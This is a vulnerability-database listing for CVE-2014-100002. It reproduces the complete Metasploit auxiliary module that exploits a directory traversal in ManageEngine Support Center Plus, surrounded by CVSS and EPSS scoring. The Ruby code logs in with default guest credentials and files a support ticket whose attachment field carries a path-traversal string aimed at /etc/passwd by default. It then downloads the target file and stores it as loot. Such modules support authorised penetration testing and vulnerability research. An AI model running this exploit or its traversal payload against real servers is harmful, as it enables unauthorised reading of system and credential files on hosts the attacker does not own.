Lucene search

K
metasploitXistence <[email protected]>MSF:AUXILIARY-SCANNER-HTTP-SUPPORT_CENTER_PLUS_DIRECTORY_TRAVERSAL-
HistoryJan 28, 2014 - 8:45 a.m.

ManageEngine Support Center Plus Directory Traversal

2014-01-2808:45:23
www.rapid7.com
8

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

AI Score

7.2

Confidence

Low

EPSS

0.627

Percentile

97.9%

This module exploits a directory traversal vulnerability found in ManageEngine Support Center Plus build 7916 and lower. The module will create a support ticket as a normal user, attaching a link to a file on the server. By requesting our own attachment, it’s possible to retrieve any file on the filesystem with the same privileges as Support Center Plus is running. On Windows this is always with SYSTEM privileges.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Support Center Plus Directory Traversal",
      'Description'    => %q{
        This module exploits a directory traversal vulnerability found in ManageEngine
        Support Center Plus build 7916 and lower. The module will create a support ticket
        as a normal user, attaching a link to a file on the server. By requesting our
        own attachment, it's possible to retrieve any file on the filesystem with the same
        privileges as Support Center Plus is running. On Windows this is always with SYSTEM
        privileges.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
      'References'     =>
        [
          ['CVE', '2014-100002'],
          ['EDB', '31262'],
          ['OSVDB', '102656'],
          ['BID', '65199'],
          ['PACKETSTORM', '124975']
        ],
      'DisclosureDate' => '2014-01-28'
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
        OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
        OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
        OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
      ])
  end

  def run_host(ip)
    uri = target_uri.path
    peer = "#{ip}:#{rport}"

    vprint_status("Retrieving cookie")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "")
    })

    if res and res.code == 200
      session = res.get_cookies
    else
      vprint_error("Server returned #{res.code.to_s}")
    end

    vprint_status("Logging in as user [ #{datastore['USER']} ]")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "j_security_check"),
      'cookie' => session,
      'vars_post' =>
      {
        'j_username' => datastore['USER'],
        'j_password' => datastore['PASS'],
        'logonDomainName' => 'undefined',
        'sso_status' => 'false',
        'loginButton' => 'Login'
      }
    })

    if res and res.code == 302
      vprint_status("Login successful")
    else
      vprint_error("Login was not successful!")
      return
    end

    randomname = Rex::Text.rand_text_alphanumeric(10)
    vprint_status("Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "WorkOrder.do"),
      'cookie' => session,
      'vars_post' =>
        {
          'reqTemplate' => '',
          'prodId' => '0',
          'priority' => '2',
          'reqID' => '2',
          'usertypename' => 'Requester',
          'reqName' => 'Guest',
          'category' => '0',
          'item' => '0',
          'subCategory' => '0',
          'title' => randomname,
          'description' => randomname,
          'MOD_IND' => 'WorkOrder',
          'FORMNAME' => 'WorkOrderForm',
          'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
          'attPath' => '',
          'component' => 'Request',
          'attSize' => Rex::Text.rand_text_numeric(8),
          'attachments' => randomname,
          'autoCCList' => '',
          'addWO' => 'addWO'
        }
      })

    if res and res.code == 200
      vprint_status("Ticket created")
      if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
        fileid = $1
        vprint_status("File ID is [ #{fileid} ]")
        fileauthkey = $2
        vprint_status("Auth Key is [ #{fileauthkey} ]")
      else
        vprint_error("File ID and AuthKey not found!")
      end
    else
      vprint_error("Ticket not created due to error!")
      return
    end

    vprint_status("Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
      'vars_get' =>
      {
        'module' => 'Request',
        'ID' => fileid,
        'authKey' => fileauthkey
      }
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code == 200
      data = res.body
      p = store_loot(
        'manageengine.supportcenterplus',
        'application/octet-stream',
        ip,
        data,
        datastore['FILE']
      )
      print_good("[ #{datastore['FILE']} ] loot stored as [ #{p} ]")
    else
      vprint_error("Server returned #{res.code.to_s}")
    end
  end
end

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

AI Score

7.2

Confidence

Low

EPSS

0.627

Percentile

97.9%

Related for MSF:AUXILIARY-SCANNER-HTTP-SUPPORT_CENTER_PLUS_DIRECTORY_TRAVERSAL-